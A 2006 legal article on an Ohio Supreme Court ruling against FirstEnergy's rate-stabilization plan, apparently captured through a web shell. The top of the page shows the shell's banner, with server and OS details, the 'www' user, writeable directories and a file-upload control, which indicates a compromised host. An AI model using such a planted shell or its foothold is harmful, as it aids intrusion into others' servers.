KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/enrgy/statelin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/enrgy/statelin/0605olsn.htm
<html>

<head>
<title>May 2006: Ohio Court Rejects PUC-Approved &quot;Rate-Stabilization Plan&quot; as 
Violating the State Restructuring Statute</title>
</head>

<body style="font-family: Arial" vlink="#808080">
<div align="center">

<table border="0" cellpadding="8" cellspacing="0" width="98%" bgcolor="#000000">
  <tr>
    <td width="100%" valign="middle"><a name="top"></a>
    <img src="../images/pmamagsm.gif" alt="PMA Online Magazine" border="0" align="right" width="229" height="100"></td>
  </tr>
</table>
</div><div align="center"><center>

<table border="0" cellpadding="8" width="98%">
  <tr>
    <td width="15%" valign="top" align="center">
    <!--webbot bot="Include" U-Include="sl_sidebar.htm" TAG="BODY" startspan -->

<table border="2" cellpadding="8" width="15%" id="table1" bordercolor="#FFFF00" bgcolor="#C0C0C0">
  <tr>
    <td width="100%" valign="top" align="center"><map name="FPMap0_I1">
      <area href="http://www.powermarketers.com/adrates.html" shape="rect" coords="14, 297, 97, 322">
      <area href="http://www.powermarketers.com/pmajobs.htm" shape="rect" coords="11, 230, 95, 257">
      <area href="http://www.powermarketers.com/main.htm" target="_parent" shape="rect" coords="12, 163, 96, 189">
      <area href="http://www.powermarketers.com/power2.htm" target="_blank" shape="rect" coords="12, 95, 96, 121">
      <area href="../pmamag.htm" shape="rect" coords="11, 29, 96, 54"></map><img rectangle="(12,163) (96,189) http://www.powermarketers.com/main.htm##_parent" rectangle="(12,95) (96,121) http://www.powermarketers.com/power2.htm##_blank" rectangle="(11,29) (96,54) ../pmamag.htm" src="../images/magmenu.gif" alt="PMA OnLine Magazine Menu" border="0" align="center" usemap="#FPMap0_I1" width="110" height="350"><p><a href="../searchpma.htm"><img src="../images/archives.gif" alt="Archives Search" border="0" align="center" WIDTH="70" HEIGHT="40"></a></p>
    <p align="left"><strong><small><font face="Arial">About The Author:</font></small></strong></p>
    <p align="left"><font face="Arial" style="font-size: 9pt">Robert A. Olson is a partner in the law firm of
    Brown, Olson &amp; Gould, P.C. which maintains a nationwide practice in energy law,
    public utility law and related commercial transactions.</font></p>
    <p><small><font face="Arial"><font style="font-size: 9pt">He can be reached at:</font><br>
    <br>
    <b><font color="#0000FF">Brown, Olson & Gould, PC</font></b><br>
2 Delta Drive<br>
    Suite 301<br>
Concord, NH 03301<br>
&nbsp;<a href="mailto:[email protected]">[email protected]</a><br>
    (603) 225-9716<br>
<a href="mailto:[email protected]"></a></font></small></p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p><a href="#top"><img src="../images/b-t-top.gif" alt="Back To Top" border="0" width="71" height="35"></a></td>
  </tr>
</table>

<!--webbot bot="Include" i-checksum="45188" endspan --></td>
    <td width="75%" valign="top">
    <img src="../images/statelin.gif" alt="STATELINE by Robert Olson" border="0" width="375" height="75">
</center><center>
    <p ALIGN="left"><b><u><br>
    <br>
    May 2006</u></b><font size="6"><b><br>
    &nbsp;</b></font></p><font size="6"><b>
    <p align="left">Ohio Court Rejects PUC-Approved &quot;Rate-Stabilization Plan&quot; as 
    Violating the State Restructuring Statute</p>
    </b></font><center>
    <p ALIGN="left"><font size="6"><b><br>
    </b></font><strong>by Robert Olson&nbsp; and
    </strong><b>David J. Shulock</b><strong> -- &nbsp; Brown, Olson and Wilson, P.C.<br>
    </strong><font face="Arial" size="2">(<em>originally published by PMA OnLine Magazine:
2006</em>/10/27)<br>
&nbsp;</font></p>
    <font SIZE="3">
    <p ALIGN="JUSTIFY">The Ohio Supreme Court recently rejected a 
    &quot;rate-stabilization plan&quot; proposed by an Ohio utility and approved by the 
    Ohio Public Utilities Commission (the &quot;Commission&quot;) as part of the state&#8217;s 
    transition to a competitive electricity market on the ground that it 
    violated the state restructuring statute. Ohio Consumers&#8217; Counsel v. Pub. 
    Util. Comm., 2006 Ohio 2110 (2006) (&quot;Ohio Consumers&#8217; Counsel&quot;). </p>
    </font>
    <font FACE="Palatino" SIZE="2">
    <p ALIGN="JUSTIFY"></p>
    </font>
    <p ALIGN="JUSTIFY">Under Ohio&#8217;s restructuring statute, upon completion of a 
    transition period called the &quot;market-development period,&quot; electric 
    distribution utilities are required to provide (1) a &quot;market-based standard 
    service offer&quot; for electric generation service, and (2) &quot;an option to 
    purchase competitive retail electric service the price of which is 
    determined through a competitive bidding process.&quot; Ohio Rev. Code Ann. � 
    4928.14 (the &quot;Statute&quot;). With respect to the competitive bidding option, 
    however, the statute authorizes the Commission to determine &quot;that a 
    competitive bidding process is not required, if other means to accomplish 
    generally the same option for customers is readily available in the market 
    and a reasonable means for customer participation is developed.&quot; Id.</p>
    <font FACE="Palatino" SIZE="2">
    <font FACE="Palatino" SIZE="3">
    <p ALIGN="JUSTIFY"></p>
    </font>
    </font>
    <p ALIGN="JUSTIFY">In preparation for the end of its market-development 
    period on December 31, 2005, FirstEnergy Corporation proposed what it called 
    a &quot;rate-stabilization plan&quot; (the &quot;Plan&quot;). See Ohio Consumers&#8217; Counsel at �� 
    3-20. The Commission approved the Plan with some modifications. Id. As 
    approved, the Plan established standard service offer pricing and a 
    competitive-bid process. Id. The competitive-bid process, however, was 
    established solely for the purpose of periodically testing the rate 
    established under the Plan to ensure that it did &quot;not exceed long-term 
    market prices that result from&quot; competitive bidding. Id. </p>
    <font FACE="Palatino" SIZE="2">
    <font FACE="Palatino" SIZE="3">
    <p ALIGN="JUSTIFY"></p>
    </font>
    </font>
    <p ALIGN="JUSTIFY">In implementing the plan, the Commission had already 
    evaluated one such competitive-bid process and rejected all bids on the 
    ground that they were lower than the Plan rate. Id. Plan opponents pointed 
    out, however, that the competitive-bid rate, while higher, was fixed for a 
    three-year period, whereas the Plan rate was subject to change. Id. 
    Opponents argued that some customers would prefer a stable fixed rate to the 
    changeable Plan rate. Id. They claimed the Statute entitled consumers to a 
    choice between a market-based standard service offer and a rate determined 
    through a competitive-bid process, and the Plan violated the Statute in that 
    it failed to provide the competitive-bid rate alternative. Id.</p>
    <font FACE="Palatino" SIZE="2">
    <font FACE="Palatino" SIZE="3">
    <p ALIGN="JUSTIFY"></p>
    </font>
    </font>
    <p ALIGN="JUSTIFY">In response, the Commission invoked its statutory 
    authority to dispense with competitive bidding where there are other means 
    to accomplish the same objective. Id. The court rejected this argument on 
    the ground that the &quot;very narrow&quot; statutory exception to the competitive 
    bidding requirement also requires the Commission to develop &quot;a reasonable 
    means for customer participation.&quot; Id. The court found that, under the Plan, 
    the Commission acted unilaterally to eliminate the competitive-bid in 
    violation of the Statute. The court contrasted the Plan with a similar 
    pricing plan it had approved in Constellation NewEnergy, Inc. v. Pub. Util. 
    Comm., 820 N.E.2d 885 (2004). In that case, parties representing all classes 
    of customers had stipulated to the pricing plan, whereas the customer groups 
    in the case before the court had not agreed to the Plan and most customer 
    groups actively opposed it. </p>
    <font FACE="Palatino" SIZE="2">
    <font FACE="Palatino" SIZE="3">
    <p ALIGN="JUSTIFY"></p>
    </font>
    </font>
    <p align="left">The court remanded the case to the Commission for further 
    proceedings consistent with its opinion.</p>
    <font FACE="Palatino" SIZE="2">
    <center>
    <center>
    <p ALIGN="JUSTIFY"></p>
    <p ALIGN="JUSTIFY"></p>
    </font><center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <center>
    <!--webbot bot="Include" u-include="sl_bottom.htm" tag="BODY" startspan -->

    <hr color="#FFFF00">
    <blockquote>
      <p align="left"><font face="Arial">
      <small>Robert A. Olson is a partner in the law firm of Brown, Olson &amp; 
		Gould P.C.
      which maintains a nationwide practice in energy law, public utility law and related
      commercial transactions. He can be reached at:</small></font><p align="center">
      <font face="Arial"><small><font color="#0000FF"><b>Brown, Olson & Gould, PC</b></font><br>
2 Delta Drive, Suite 301<br>
Concord, NH 03301 <br>
      <br>
      <a href="mailto:[email protected]">[email protected]</a> | (603) 225-9716<a href="mailto:[email protected]"></a></small></font>
    
<!--webbot bot="Include" i-checksum="27861" endspan --></td>
  </tr>
  <tr>
    <td width="15%" valign="top" align="center">
    &nbsp;</td>
    <td width="75%" valign="top">
    &nbsp;</td>
  </tr>
</table>
  </div>

<p align="center"><a href="#top">
<img src="../images/b-t-top.gif" alt="Back To Top" border="0" width="71" height="35"></a></p>
</body>
</html>

Anon7 - 2021